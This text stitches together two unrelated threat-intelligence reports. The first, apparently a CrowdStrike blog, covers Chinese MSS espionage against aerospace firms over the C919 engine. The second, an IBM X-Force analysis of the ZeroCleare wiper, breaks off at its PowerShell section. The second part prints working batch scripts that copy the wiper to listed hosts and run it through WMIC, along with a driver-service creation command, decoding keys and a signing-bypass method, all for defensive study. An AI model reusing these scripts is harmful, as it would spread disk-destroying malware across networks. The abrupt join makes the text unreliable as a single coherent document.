In this blog, we take a look at how Beijing used a mixture of cyber actors sourced from China’s underground hacking scene, Ministry of State Security (MSS) officers, company insiders, and state directives to fill key technology and intelligence gaps in a bid to bolster dual-use turbine engines which could be used for both energy generation and to enable its narrow-body twinjet airliner, the C919, to compete against western aerospace firms. What follows is a remarkable tale of traditional espionage, cyber intrusions, and cover-ups, all of which overlap with activity CrowdStrike Intelligence has previously attributed to the China-based adversary TURBINE PANDA. These operations are ultimately traceable back to the MSS Jiangsu Bureau, the likely perpetrators of the infamous 2015 U.S. Office of Personnel Management (OPM) breach.
## PART I: THE TARGET
The story starts with a simple fact: Beijing accurately predicted that due to its rising economic status, China’s middle class demand for air travel would far outpace its ability to supply aircraft and a domestic commercial aviation industry capable of supporting these logistics. Putting aside the obvious military-civil benefits that turbine engines have for the energy and aviation sectors, much of China’s strategic push into this industry is predicated by necessity. China is predicted to succeed the U.S. as the world’s largest aviation market by 2022, adding nearly 1 billion passengers by 2036. From China’s 12th and 13th Five Year Plan to the increasingly scrutinized Made in China 2025 Plan, numerous state strategic plans have named aerospace and aviation equipment as one of ten priority industries to focus on “leap-frog” developments.
A major focus of this strategy centered on building an indigenous Chinese-built commercial aircraft designed to compete with the duopoly of western aerospace. That aircraft would become the C919—an aircraft roughly half the cost of its competitors, which completed its first maiden flight in 2017 after years of delays due to design flaws. But the C919 can hardly be seen as a complete domestic triumph as it is reliant on a plethora of foreign-manufactured components. Likely in an effort to bridge those gaps, a Chinese state-aligned adversary CrowdStrike calls TURBINE PANDA conducted cyber intrusions from a period of roughly 2010 to 2015 against several of the companies that make the C919’s various components.
Specifically, in December 2009, the state-owned enterprise (SOE) Commercial Aircraft Corporation of China (COMAC) announced it had chosen CFM International’s LEAP-X engine to provide a custom variant engine, the LEAP-1C, for the then-newly announced C919. The deal was reportedly signed in Beijing during a visit by then-French Prime Minister François Fillon. Despite the early deal with CFM, both COMAC and fellow SOE the Aviation Industry Corporation of China (AVIC) were believed to be tasked by China’s State-owned Assets Supervision and Administration Commission of the State Council (SASAC) with building an “indigenously created” turbofan engine that was comparable to the LEAP-X.
In August 2016, both COMAC and AVIC became the main shareholders of the Aero Engine Corporation of China (AECC), which produced the CJ-1000AX engine. The CJ-1000AX bears multiple similarities to the LEAP-1C, including its dimensions and turbofan blades. The AECC conducted its first test as recently as May 2018, having overcome significant difficulties in their first mockups. Though it is difficult to assess that the CJ-1000AX is a direct copy of the LEAP-X without direct access to technical engineering specifications, it is highly likely that its makers benefited significantly from the cyber espionage efforts of the MSS, detailed further in subsequent blog installments, knocking several years (and potentially billions of dollars) off of its development time.
The actual process by which the CCP and its SOEs provide China’s intelligence services with key technology gaps for collection is relatively opaque, but what is known from CrowdStrike Intelligence reporting and corroborating U.S. government reporting is that Beijing uses a multi-faceted system of forced technology transfer, joint ventures, physical theft of intellectual property from insiders, and cyber-enabled espionage to acquire the information it needs. Specifically, SOEs are believed to help identify major intelligence gaps in key projects of significance that China’s intelligence services then are likely tasked with collecting. It is assessed with high confidence that the MSS was ultimately tasked with targeting firms that had technologies pertaining to the LEAP-X engine and other components of the C919, based on timing and the details revealed in the DoJ indictments. For example, the first preparatory activity in January 2010 believed to be associated with TURBINE PANDA targeted Los Angeles-based Capstone Turbine and began just a month after choosing CFM as its engine provider. This brings us to our culprits: the Jiangsu Bureau of the MSS (JSSD) located in Nanjing. In Part II, we will discuss the JSSD’s location, and its joint operations between the JSSD’s cyber operators and its human intelligence officers.
## PART II: THE CULPRITS
From August 2017 until October 2018, the DoJ released several separate, but related indictments against Sakula developer YU Pingan, JSSD Intelligence Officer XU Yanjun, GE Employee and insider ZHENG Xiaoqing, U.S. Army Reservist and assessor JI Chaoqun, and 10 JSSD-affiliated cyber operators in the ZHANG et. al. indictment. What makes these DoJ cases so fascinating is that, when looked at as a whole, they illustrate the broad, but coordinated efforts the JSSD took to collect information from its aerospace targets. In particular, the operations connected to activity CrowdStrike Intelligence tracked as TURBINE PANDA showed both traditional human-intelligence (HUMINT) operators and its cyber operators working in parallel to pilfer the secrets of several international aerospace firms.
It is believed that cyber targeting of aerospace firms by TURBINE PANDA cyber operators began in January 2010, almost immediately after the LEAP-X engine was chosen for the C919. The ZHANG indictment describes initial preparatory action that included compromising Los Angeles-based Capstone Turbine servers and later using a doppelganger site as a strategic web compromise (SWC) in combination with DNS hijacking to compromise other aerospace firms. From a period of 2010 to 2015, the linked JSSD operators are believed to have targeted a variety of aerospace-related targets—including Honeywell, Safran, and several other firms—using two China-based APT favorites, PlugX and Winnti, and malware assessed to be unique to the group dubbed Sakula.
The same ZHANG indictment indicates that these operations were overseen by CHAI Meng, who likely managed the JSSD’s cyber operators as a pseudo Cyber Section Chief. Reporting to CHAI was the cyber operator team lead, LIU Chunliang, who appeared to establish and maintain much of the infrastructure used in the attacks on various aerospace targets as well as organize the intrusions conducted by the operators ZHANG Zhanggui, GAO Hongkun, ZHUANG Xiaowei, MA Zhiqi, and LI Xiao. Many of these individuals are assessed to have storied histories in legacy underground hacking circles within China dating back to at least 2004.
Notably, LIU also appeared to broker the use of Sakula from its developer YU, as well as the malware IsSpace (associated with SAMURAI PANDA) from its likely developer ZHUANG. LIU and YU’s conversations about Sakula would be a critical factor in tying all of this disparate activity together as Sakula was believed to be unique to the JSSD operators and could be used to tie several aerospace intrusion operations into a single, long-running campaign.
### JSSD’s HUMINT Efforts
Simultaneously, there was a HUMINT element to the JSSD’s espionage operations against aerospace targets. XU Yanjun was identified in his indictment as the Deputy Division Director of the Sixth Bureau of the JSSD in charge of Insider Threats. XU affiliated himself with two cover organizations—Jiangsu Science and Technology Association (JAST) and the Nanjing Science & Technology Association (NAST)—when interacting with potential targets. XU also was reported as frequently associating with the Nanjing University of Aeronautics and Astronomics (NUAA), a significant national defense university controlled by China’s Ministry of Industry and Information Technology (MIIT), that interfaces directly with many of China’s top defense firms and state-owned enterprises. It is likely no coincidence that NUAA is a regular collaborator with state-owned enterprises (SOEs) COMAC and AVIC, the main shareholders of AECC, which went on to produce the LEAP-X inspired CJ1000-AX turbine engine for the C919.
Over the course of several years, XU would recruit both an insider at LEAP-X manufacturer General Electric (GE), ZHENG Xiaoqing, and a Chinese-born Army reservist, JI Chaoqun. ZHENG’s background appears to have made him uniquely qualified to accurately assess turbine engine schematics, and it was clear from his indictment that he had received coaching on which sensitive information on GE’s turbine technology to access and how to use steganography in an attempt to exfiltrate the information. JI, who entered the U.S. on an F-1 student visa to study electrical engineering in Chicago, was approached by XU (initially undercover as an NUAA professor) in December 2013 and eventually recruited to provide assessments on other high-value individuals in the aerospace industry for potential recruitment by the MSS. JI’s position in the U.S. Army Reserve program known as Military Accessions Vital to the National Interest (MAVNI) provided a perfect cover for JI’s assessment activities, as the program focuses on potential recruitment of foreign citizens with skills pertinent to national interest and legally residing in the U.S. Had it been successful, JI would have been handing XU other foreign-born recruitment candidates as they were about to enter U.S. military service on potentially sensitive projects.
### HUMINT-Enabled Cyber Operations and the Role of CrowdStrike’s Own Blog
In February 2014, one of our own blogs described the relationship between cyber activity in 2012 against Capstone Turbine and an SWC targeting Safran/Snecma carried out by TURBINE PANDA, potentially exposing the HUMINT-enabled cyber operations described in some of the indictments. As described in the ZHANG indictment, on 26 February 2014, one day after the release of our “French Connection” blog publicly exposed some of TURBINE PANDA’s operations, intel officer XU texted his JSSD counterpart, cyber director CHAI, asking if the domain ns24.dnsdojo.com was related to their cyber operations. That domain was one of the few controlled by cyber operator lead LIU, and several hours after CHAI responded to XU’s text that he would verify, the domain name was deleted.
According to the ZHANG indictment, the deletion was believed to be carried out by GU Gen, Safran’s Suzhou Branch IT manager, when Safran began investigating beaconing from that domain following the blog post and notification from the Federal Bureau of Investigation (FBI). GU had been previously recruited around January 2014 by XU, and was able to act as a fixer for LIU and his team’s operations. The indictment also showed that XU had also previously recruited another Safran Suzhou insider named TIAN Xi in November 2013, giving him a USB drive with Sakula on it. On 25 January 2014, TIAN communicated to XU that he had installed Sakula on Safran’s networks, and XU in turn texted confirmation to CHAI, whose team subsequently began their operations on Safran’s networks over the next month.
### Where is the JSSD?
Though not much is publicly known about the internal organizational structure of China’s secretive national intelligence service, the MSS is known to operate a number of large municipal bureaus, normally located in the provincial capitals. Through a mixture of open-source research and confirmation from sensitive source reporting, CrowdStrike Intelligence confirmed two locations that the JSSD likely operates out of:
1. Approximately 32°3'34.25"N, 118°45'41.83"E in the Gulou District of Nanjing. Co-located in the headquarters of the Jiangsu Ministry of Public Security (MPS).
2. Approximately 31°58'45.65"N, 118°46'32.93"E in the Yuhua District of Nanjing.
A particular Nanjing architectural firm appears fairly proud of the job it did on this JSSD compound, prominently featuring pictures of architectural mockups of the building’s outside, atrium, and even its gym as splash pages on its main site. Again, the JSSD hanzi are directly on the site along with indications that it was built in 2009. A satellite view shows an array of satellite dishes out front as well.
In the next section, we’ll discuss the aftermath of these operations, their connection to other Chinese cyber campaigns, and how they fit into China’s larger strategy of “leapfrog” development.
## PART III: THE AFTERMATH
The arrests of MSS officer XU Yanjun, his insiders (ZHENG Xiaoqing and JI Chaoqun), and Sakula developer YU Pingan will ultimately not deter Beijing from mounting other significant cyber campaigns designed to achieve leapfrog development in areas they perceive to be of strategic importance. Though XU’s arrest in particular was likely a massive boon to U.S. intelligence given he was the first MSS officer (not simply an asset) known to be arrested, China has not ceased cyber operations even after incidents tying GOTHIC PANDA and STONE PANDA to the MSS were exposed publicly.
The reality is that many of the other cyber operators that made up TURBINE PANDA operations will likely never see a jail cell. YU was arrested in 2017 following his attendance at a U.S.-based security conference, and CrowdStrike Intelligence sensitive source reporting indicated that following his arrest, the MSS issued strict orders for China’s security researchers to be barred from participating in overseas conferences or Capture the Flag competitions, likely fearing a repeat occurrence and more arrests of its offensive talents.
In years prior to that directive, Chinese teams—such as those from Qihoo 360, Tencent, and Baidu—had dominated overseas competitions and bug bounties including Pwn2Own and CanSecWest, earning thousands of dollars in cash rewards for their zero-day exploits for popular systems such as Android, iOS, Tesla, Microsoft, and Adobe. Instead, the companies these researchers work for were required to provide vulnerability information to the China Information Technical Security Evaluation Center (CNITSEC). CNITSEC was previously identified by CrowdStrike Intelligence and other industry reporting as being affiliated with the MSS Technical Bureau and it runs the Chinese National Information Security Vulnerability Database (CNNVD), which was outed for its role in providing the MSS with cutting-edge vulnerabilities likely for use in offensive operations.
However, even before this directive, it is likely that many of the vulnerabilities used in offensive MSS operations came from these researchers. Many of the senior security researchers and executives at Chinese security firms got their start in legacy domestic hacking groups such as Xfocus and went on to turn their talents into successful careers—some whitehat, some blackhat, and the large majority probably falling somewhere in the grey area. The majority of these firms are listed partners of the CNNVD. NSFOCUS, for example, was formed out of the remnants of the commercialized faction of China’s patriotic hacking group the Green Army; its hanzi characters are actually still the same as the original group’s name. Venustech and Topsec were both listed as known Chinese state-affiliated contractors in leaked U.S. government cable. Topsec was also linked to campaigns against the aerospace sector and Anthem breaches in public reporting.
What is notable about the use of certain vulnerabilities and strains of malware sourced from the Chinese underground is that they often uniquely indicate which actors are responsible for which campaigns. In this case, Sakula is described in the YU indictment as being relatively unique and was provided to JSSD lead operator LIU Chunliang by YU along with multiple other vulnerabilities that were used against aerospace firms by LIU and other cyber operators that comprised TURBINE PANDA operations. The usage of Sakula across multiple victims and the arrest of its developer, YU, by the FBI would prove critical for several reasons.
Industry reporting outlined the overlapping similarities between activity at one of TURBINE PANDA’s victims that exhibited certain tactics, techniques, and procedures (TTPs) and the usage of Sakula in the Anthem breach publicly disclosed in 2015. As indicated by an FBI Flash Report detailing the tools used in the U.S. Office of Personnel Management (OPM) intrusion, Sakula was named along with FFRAT and the IsSpace malware (tracked by CrowdStrike Intelligence as being used by SAMURAI PANDA and also connected to JSSD operators in the ZHANG indictment via cyber operator ZHUANG Xiaowei) in the OPM case, likely indicating the JSSD was also behind these operations.
Public reporting has long theorized that the same operators were behind the Anthem and OPM incidents, and that both operations were likely perpetrated by actors affiliated with the MSS. Further reporting tied a breach at United Airlines to the same group that perpetrated Anthem and OPM, reaffirming that those actors had interests in aviation as well. It is likely that the DoJ indictments provided yet another piece to this complicated puzzle that saw the pilfering of the data of millions of cleared U.S. government workers funneled to China, a veritable intelligence goldmine for recruiting potential future spies.
### The Bigger Picture
Even with the arrest of a senior MSS intelligence officer and a valuable malware developer, the potential benefits of cyber-enabled espionage to China’s key strategic goals have seemingly outweighed the consequences to date. Beijing still has a long way to go before it has a completely independent domestic commercial aviation industry, as evidenced by the $45 billion USD deal to purchase 300 Airbus planes during President XI Jinping’s recent visit to France. XI inked a similar purchase agreement for 300 Boeing planes during a November 2017 visit to the U.S. Yet China still seeks to decrease its dependency on this duopoly and eventually compete on an even footing with them. Notably, China was the first country to ground Boeing’s 737 MAX and tout its own air safety records, following a second deadly 737 MAX crash this year.
In May 2017, weeks after the C919’s successful maiden flight in China, AECC and Russia’s United Aircraft Corp (UAC) announced a 50-50 joint venture called China-Russia Commercial Aircraft International Corp (CRAIC) to fund and design a new aircraft dubbed CR929, a wide-body jet designed to compete with the Airbus 350 and Boeing 787. Though both countries will design much of the aircraft, the CR929’s engines, onboard electrical systems, and other components will still likely need to be supplied by foreign suppliers. Similar to the procedure for developing the C919, the JV is currently taking bids for an aircraft engine that will be used until a Chinese-Russian substitute can take its place; this appears likely to be the CJ-2000, an upgraded version of the CJ-1000AX used in the C919. Finalists in the bidding process may face additional targeting from China-based adversaries that have demonstrated the capability and intent to engage in such intellectual property theft for economic gain. It is unclear whether Russia, a state that also has experienced cyber operators at its disposal, would also engage in cyber-enabled theft of intellectual property related to the CR929.
The C919 still faces significant barriers to entry—namely, international certification and the current Sino-U.S. trade war. COMAC aims to have the C919 pass grueling certification standards by the end of 2020. Notably, public reporting in February 2019 detailed a potential cover-up involving a November 2016 cyber intrusion at the Canada-based International Civil Aviation Organization (ICAO), the United Nations body that sets global civil aviation standards. The documents indicate that the intrusion at ICAO was likely designed to facilitate a strategic web compromise (SWC) attack that would easily provide a springboard to target a plethora of other aerospace-related as well as foreign government victims. Upon being alerted to the breach by the Aviation Information Sharing and Analysis Center (AISAC), the ICAO internal IT investigation staff was reportedly grossly negligent, and the cyber intruders may have had direct access to one of their superuser accounts. In addition, a file containing a list of all the potential organizations who were compromised by the incident mysteriously disappeared during further investigations.
Outside, third-party investigations point to China-based EMISSARY PANDA as the culprit. CrowdStrike Intelligence is unable to independently confirm this; however, EMISSARY PANDA has been previously observed targeting the aviation industry as well. Both the ICAO IT supervisor in charge of the mishandled internal investigation, James WAN, and Fang LIU, the ICAO’s secretary general who shelved recommendations to investigate WAN and his four team members, were both found by CrowdStrike to have ties to China’s aviation industry. LIU previously was a major figure at the Civil Aviation Administration of China (CAAC), one of several prominent Chinese state-owned enterprises (SOEs) tasked with advancing China’s aviation industry. WAN was previously connected to the Civil Aviation University of China (CUAC), another prominent institution in China’s aviation industry research that is administered by CAAC. Though CrowdStrike Intelligence cannot make any high confidence determinations about the breach, the timing in 2016, the techniques (such as attempting an upstream SWC to target other industry victims), and the nature of the intrusion into ICAO is an eerily similar situation to GU Gen, the MSS-recruited IT manager at Safran’s Suzhou branch who sought to cover up TURBINE PANDA operations. LIU, WAN, and the four employees are all still employed at ICAO.
A major facet of the current Sino-U.S. trade war is forced technology transfer, which Beijing has used to great effect by siphoning intellectual property from foreign firms in exchange for providing joint ventures (JVs) and granting access to China’s lucrative market, only to be forced out later by domestic rivals as they grow competitive with state subsidies and support. Under current laws, the C919’s foreign suppliers (many of whom were targets of TURBINE PANDA operations) are required to physically assemble components in China through a JV with COMAC. It remains to be seen whether the high-level Sino-U.S. trade negotiations will result in limiting Beijing’s ability to speed its aviation development through JVs, forced technology transfer, HUMINT operations, or cyber-enabled theft of IP. But the unprecedented visibility into how the MSS and its cyber operators enhance China’s leapfrog development coming at this time is more than just a coincidence. |
# New Destructive Wiper “ZeroCleare” Targets Energy Sector in the Middle East
## New Malware “ZeroCleare” Used in Destructive Attacks
IBM® X-Force® has been researching and tracking destructive malware in the Middle East, particularly in the industrial and energy sector. Since the first Shamoon attacks that started affecting organizations in the region in summer of 2012, we have been following the evolution of destructive, disk-wiping malware deployed to cause disruption.
In recent analysis, X-Force Incident Response and Intelligence Services (IRIS) discovered new malware from the Wiper class, used in a destructive attack in the Middle East. We named this malware “ZeroCleare” per the program database (PDB) pathname of its binary file.
According to our analysis, ZeroCleare was used to execute a destructive attack that affected organizations in the energy and industrial sectors in the Middle East. Based on the analysis of the malware and the attackers’ behavior, we suspect Iran-based nation state adversaries were involved in developing and deploying this new wiper.
Given the evolution of destructive malware targeting organizations in the region, we were not surprised to find that ZeroCleare bears some similarity to the Shamoon malware. Taking a page out of the Shamoon playbook, ZeroCleare aims to overwrite the Master Boot Record (MBR) and disk partitions on Windows-based machines. As Shamoon did before it, the tool of choice in the attacks is EldoS RawDisk, a legitimate toolkit for interacting with files, disks, and partitions. Nation-state groups and cyber criminals frequently use legitimate tools in ways that a vendor did not intend to accomplish malicious or destructive activity.
Using RawDisk with malicious intent enabled ZeroCleare’s operators to wipe the MBR and damage disk partitions on a large number of networked devices. To gain access to the device’s core, ZeroCleare used an intentionally vulnerable driver and malicious PowerShell/Batch scripts to bypass Windows controls. Adding these ‘living off the land’ tactics to the scheme, ZeroCleare was spread to numerous devices on the affected network, sowing the seeds of a destructive attack that could affect thousands of devices and cause disruption that could take months to fully recover from. These tactics resemble the way Shamoon was launched in attacks on Arabian Gulf targets in 2018.
X-Force IRIS assesses that the ITG13 threat group, also known as APT34/OilRig, and at least one other group, likely based out of Iran, collaborated on the destructive portion of the attack. X-Force IRIS’s assessment is based on ITG13's traditional mission, which has not included executing destructive cyber-attacks in the past, the gap in time between the initial access facilitated by ITG13 and the last stage of the intrusion, as well as the different TTPs our team observed.
To date, X-Force IRIS has not found any previous reporting on the "ZeroCleare" wiper, its indicators, or elements observed in this campaign. It is possible that it is a recently developed malware and that the campaign we analyzed is one of the first to use this version.
## 1.1 Destructive Attacks – A Rising Concern
X-Force IRIS has been following a marked increase in destructive attacks in the past year, having logged a whopping 200 percent increase in the amount of destructive attacks that our team has helped companies respond to over the past six months (comparing IBM incident response activities in the first half of 2019 versus the second half of 2018).
Destructive attacks on the energy and industrial sectors have been a rising concern, especially in countries where the economy relies on oil and gas industries, like in some parts of the Middle East and Europe. While we have seen them more frequently in the Middle East, these attacks are not limited to any part of the world and can be launched by any offensive nation-state group seeking to adversely affect the economy of rival countries, or by cybercriminals that use destruction as a pressure tactic.
Overall, destructive attacks we have been seeing affect organizations are being carried out by threat actors of varying motivations who could be employing destructive components in their attacks. Some pressure victims to pay them, others counterblow when they are not paid. When these attacks are carried out by nation state adversaries, they often have military objectives that can include accessing systems to deny access to, degrade, disrupt, deceive, or destroy the device/data.
## 1.2 ZeroCleare’s General Infection Flow
The ZeroCleare wiper is part of the final stage of the overall attack. It is designed to deploy two different ways adapted to 32-bit and 64-bit systems. The general flow of events on 64-bit machines includes using a vulnerable, signed driver and then exploiting it on the target device to allow ZeroCleare to bypass the Windows hardware abstraction layer and avoid some operating system safeguards that prevent unsigned drivers from running on 64-bit machines.
This workaround has likely been used because 64-bit Windows based devices are protected with Driver Signature Enforcement (DSE). This control is designed to only allow drivers which have been signed by Microsoft to run on the device. Since ZeroCleare relies on the EldoS RawDisk driver, which is not a signed driver and would therefore not run by default, the attackers use an intermediary file named soy.exe to perform the workaround. They load a vulnerable but signed VBoxDrv driver which the DSE accepts and runs and then exploit it to load the unsigned driver, thereby avoiding DSE rejection of the EldoS driver.
Once loaded, the vulnerable VBoxDrv driver is exploited to run shellcode on the kernel level. Post-exploitation, the driver was used to load the unsigned EldoS driver and proceed to the disk wiping phase. Having analyzed soy.exe, we determined it was a modified version of the Turla Driver Loader (TDL) of which purpose is to facilitate that very DSE bypass.
The same process does not apply to the 32-bit systems as they do not limit running unsigned drivers in the same manner.
## 1.3 Two ZeroCleare Versions, Only One Worked
The ZeroCleare attack is facilitated by a number of files that each fulfill a different role in the infection chain. Files we analyzed are either scripts or executables designed to spread and launch the ZeroCleare malware across the targeted infrastructure.
ZeroCleare comes in two versions, one for each Windows architecture (32-bit and 64-bit), but while both exist, only the 64-bit worked. The 32-bit version was supposed to function by installing the EldoS RawDisk driver as a driver service before beginning the wiping process but caused itself to crash when attempting to access the service during the wiping process. Since only the 64-bit version worked, the analysis in this paper will refer to that version.
### Attackers’ File Arsenal
The following table lists the files we analyzed as part of what enabled attackers to infect devices with ZeroCleare and spread through compromised networks.
| Index | File Name | Category | File Hash | Parent |
|-------|----------------------------|----------------|-----------------------------------------|-----------------------|
| 1 | ClientUpdate.exe (x64) | Wiper | 1a69a02b0cd10b1764521fec4b7376c9 | ClientUpdate.ps1 |
| 2 | ClientUpdate.exe (x86) | Wiper | 33f98b613b331b49e272512274669844 | ClientUpdate.ps1 |
| 3 | elrawdsk.sys | Tool | 69b0cec55e4df899e649fa00c2979661 | ClientUpdate.ps1 |
| 4 | soy.exe | Loader | 1ef610b1f9646063f96ad880aad9569d | ClientUpdate.ps1 |
| 5 | elrawdsk.sys | Tool | 993e9cb95301126debdea7dd66b9e121 | soy.exe |
| 6 | saddrv.sys | Tool | eaea9ccb40c82af8f3867cd0f4dd5e9d | soy.exe |
| 7 | ClientUpdate.txt | PowerShell | 1dbf3e9c84a89512a52da5b0bb682460 | N/A |
| | Script | | | |
| 8 | ClientUpdate.ps1 | PowerShell | 08dc0073537b588d40deda1f31893c52 | N/A |
| | Script | | | |
| 9 | cu.bat | Batch | Hash depends on specific deployment | N/A |
| | Script | | | |
| 10 | v.bat | Batch | Hash depends on specific deployment | N/A |
| | Script | | | |
| 11 | 1.bat | Batch | Hash depends on specific deployment | N/A |
| | Script | | | |
| 12 | 2.bat | Batch | Hash depends on specific deployment | N/A |
| | Script | | | |
| 13 | 3.bat | Batch | Hash depends on specific deployment | N/A |
| | Script | | | |
| 14 | 4.bat | Batch | Hash depends on specific deployment | N/A |
| | Script | | | |
| 15 | 5.bat | Batch | Hash depends on specific deployment | N/A |
| | Script | | | |
The following are some overarching notes regarding the file list:
- The PowerShell and batch scripts analyzed were designed to spread and execute the ZeroCleare malware across the domain.
- The main PowerShell script, ClientUpdate.ps1, spreads itself to Domain Controllers (DC), and then from those servers. It uses the Active Directory PowerShell module GetADComputer cmdlet to identify lists of target devices to copy and execute the malware on.
- The Batch scripts support spreading the malware but work in a more simplistic manner using premade text files that contain hostnames to infect, rather than generating the lists themselves.
- We found that the ZeroCleare Wiper’s executable itself, delivered in a file named ClientUpdate.exe, ran with a legitimate license key for EldoS RawDisk driver.
## 1.4 File #1: ClientUpdate.exe (x64) – aka ZeroCleare
**File name:** ClientUpdate.exe
**Type:** 64-bit Windows binary
**MD5:** 1a69a02b0cd10b1764521fec4b7376c9
**Compiled:** 15 Jun 2019, 10:47:12
This file was identified as the new wiper that was deployed in destructive attacks to damage Windows-based devices. It was named ZeroCleare by IRIS per the file path of its PDB file. As mentioned earlier in this paper, ZeroCleare relies on the legitimate EldoS RawDisk driver that was previously used in Shamoon attacks to access and wipe the hard drive directly. Using this driver, which is an inherently legitimate tool, allows ZeroCleare attackers to bypass the Windows hardware abstraction layer and avoid the OS safeguards.
To install the EldoS RawDisk driver, ZeroCleare uses another binary, Soy.exe, to load the driver on the targeted device and activate it. X-Force IRIS analyzed Soy.exe and found that it is a modified version of the Turla Driver Loader (TDL), which is designed to bypass x64 Windows Driver Signature Enforcement. The TDL application works by first installing a legitimate but vulnerable, signed, VirtualBox driver, vboxdrv.sys (in this case it is named saddrv.sys). Once loaded, this vulnerable driver can be exploited to run shellcode at the kernel level, which in this case is used to load the unsigned EldoS driver.
ClientUpdate.exe executes soy.exe via the following command line:
`cmd.exe /c soy.exe`
In order to activate the disk management driver, the malware needed to open a file handle via a unique filename using the logical drive (For example, C:\). The file name's format requested by function CreateFileW must start with # followed by the license key issued to the developer by EldoS.
We have observed ZeroCleare attempt to open the following filename:
`\\?\ElRawDisk\??\(physical drive):#b4b615c28ccd059cf8ed1abf1c71fe03c0354522990af63adf3c911e2287a4b906d47d`
The license key was:
`b4b615c28ccd059cf8ed1abf1c71fe03c0354522990af63adf3c911e2287a4b906d47d`
It could be a temporary license key or one that was stolen from someone else. Various information stealing malware can obtain license keys from infected systems.
The ClientUpdate.exe (x64) wiping function creates a buffer of random bytes and uses function DeviceIoControl to send the buffer to the RawDisk driver to write data to the disk and wipe the victim's hard drives. Similar to what the Shamoon malware does, this would overwrite the MBR, partitions, and files on the system with random junk data. The sample was observed to contain the following PDB string:
`C:\Users\Developer\source\repos\ZeroCleare\x64\Release\zeroclear.pdb`
## 1.5 File #2: ClientUpdate.exe (x86) – aka ZeroCleare
**File name:** ClientUpdate.exe
**Type:** 32-bit Windows binary
**MD5:** 33f98b613b331b49e272512274669844
**Compiled:** 15 Jun 2019, 11:38:44
Same as ClientUpdate.exe (x64), this file was also identified as the ZeroCleare wiper. As it is designed for 32-bit Windows systems, Driver Signature Enforcement does not prevent unsigned drivers from running. Therefore, this version of ZeroCleare does not need to use Soy.exe or TDL, the latter being only applicable to 64-bit systems.
ClientUpdate.exe (x86) first attempts to install itself as a service by running:
`:\windows\system32\cmd.exe /u /c sc create soydsk type= kernel start= demand binPath= [sample path]`
Next, it attempts to activate the disk management device driver by opening a file handle via a unique filename using the logical drive (For example, C:\). The file name's format requested by function CreateFileW must start with # followed by the license key issued to the developer by EldoS. This 32-bit ZeroCleare version attempts to open the following filename:
`\\?\ElRawDisk\??\(physical drive):#b4b615c28ccd059cf8ed1abf1c71fe03c0354522990af63adf3c911e2287a4b906d47d`
The malware uses the same EldoS RawDisk driver license key as observed in the 64-bit version:
`b4b615c28ccd059cf8ed1abf1c71fe03c0354522990af63adf3c911e2287a4b906d47d`
This version did not work properly. During analysis, the sample crashed as the disk management driver had not been installed and was therefore not accessible. We can theorize that this may be a bug in the code. X-Force IRIS patched the 32-bit ZeroCleare sample in order to continue the analysis provided in this paper. Once it worked, we noted that this version’s wiping behavior was similar to that of ClientUpdate.exe (x64), which functioned by creating a buffer of random bytes and used the function DeviceIoControl to send the buffer to the RawDisk driver to write data that would wipe the victim's hard drive(s). Similar to what the Shamoon malware does, this would overwrite the MBR, partitions, and files on the system with random junk data. This file was saved in the following PDB file path:
`C:\Users\Developer\source\repos\ZeroCleare32\Release\zeroclear.pdb`
## 1.6 File #3: Soy.exe Analysis
**File name:** Soy.exe
**Type:** 64-bit Windows binary
**MD5:** 1ef610b1f9646063f96ad880aad9569d
**Compiled:** 15 Jun 2019, 7:04:22
The file soy.exe had a special role in the overall kill chain of ZeroCleare attacks as it was necessary for the initial bypass of Windows OS controls. This file was identified as a customized version of the Turla Driver Loader (TDL), which is a driver loader application designed for bypassing Windows x64 Driver Signature Enforcement (DSE). DSE is a protective feature that was introduced in 64-bit versions of Windows 8 and 10, to prevent the loading of drivers unsigned by Microsoft.
TDL works by first loading a legitimate, Microsoft-signed, VirtualBox VBoxDrv driver. However, a vulnerable version of the driver is intentionally used, and TDL can then exploit the vulnerability to run kernel-level shellcode and ultimately load other, unsigned drivers.
The file sample's resource section includes two encoded resources with the following hashes:
- Resource ID 1: b1ba74d92395012253b33462c67a726ff266c126f2652092c2f57659d0f46e77
- Resource ID 103: 37680a5a26abc22cde99c5222881a279a04b90680231736efac1e17a8e976755
Before decoding the resources, soy.exe creates a mutex called Ptición de trabajo. It then attempts to access its resource section to read encoded resource 103 and uses XOR key 0XAAAAAAAAAAAAAAAA to decode it. Next, soy.exe writes the decoded content to a 64-bit file called elrawdsk.sys. This file was identified as the 64-bit version of the EldoS RawDisk driver, version 3.0.31.
After that, soy.exe attempts to access resource 1 and uses XOR key 0XFFFFFFFFFFFFFFFF to decode it. The soy.exe sample then writes the decoded content to a 64-bit VirtualBox VBoxDrv.sys driver file called saddrv.sys, which is known to have privilege escalation and arbitrary code execution vulnerabilities. This file is a signed driver.
Once the resources have been decoded, soy.exe tries to create and start a driver service with name VBoxDrv and saddrv.sys, in order to load the vulnerable VBoxDrv device driver.
## 1.7 Batch Scripts Used by ZeroCleare Attackers
A batch file is a script file that’s typical to DOS, OS/2 and Microsoft Windows. It consists of a series of commands to be executed by the command-line interpreter, stored in a plain text file. On devices running Windows operating systems, a batch file would store commands in serial order. ZeroCleare attackers used at least seven batch files in the attack’s flow to add functionality.
### v.bat
Batch script v.bat is designed to read a text file containing system hostnames. In this case, the file is called 'listfile.txt' although other names for this file have also been observed. For each hostname within the list, the script first copies the contents of directory "C:\Users\$USER\Desktop\UpdateTemp" to "\\$hostname\c$\Windows\Temp" and then attempts to run "cmd /c c:\Windows\Temp\cu.bat" using Windows Management Interface Command (WMIC), which is a simple command prompt tool that returns information about the system that’s running it.
```batch
for /F "tokens=*" %%A in (listfile.txt) do (
xcopy /S /Y "C:\Users\$USER\Desktop\UpdateTemp" \\%%A\c$\Windows\Temp && wmic /node:"%%A" process call create "cmd /c c:\Windows\Temp\cu.bat"
)
```
Batch files 1.bat, 2.bat, 3.bat, 4.bat, and 5.bat appear redundant as they were all identified to have the same function as v.bat.
### cu.bat
Once it is run by its predecessor (v.bat), the batch script cu.bat begins by switching to the directory C:\Windows\Temp. It checks for the existence of '%PROGRAMFILES(X86)%' to determine if it is running on a 64- or 32-bit system architecture. It will change to the 'x64' directory as needed, but otherwise the switch proceeds with the 'x86' directory. Once that’s established, cu.bat runs the file .\ClientUpdate.exe, which is the ZeroCleare malware.
```batch
cd c:\Windows\Temp\
IF EXIST "%PROGRAMFILES(X86)%" (cd .\x64) ELSE (cd .\x86)
.\ClientUpdate.exe
```
## 1.8 PowerShell Scripts Used by ZeroCleare Attackers
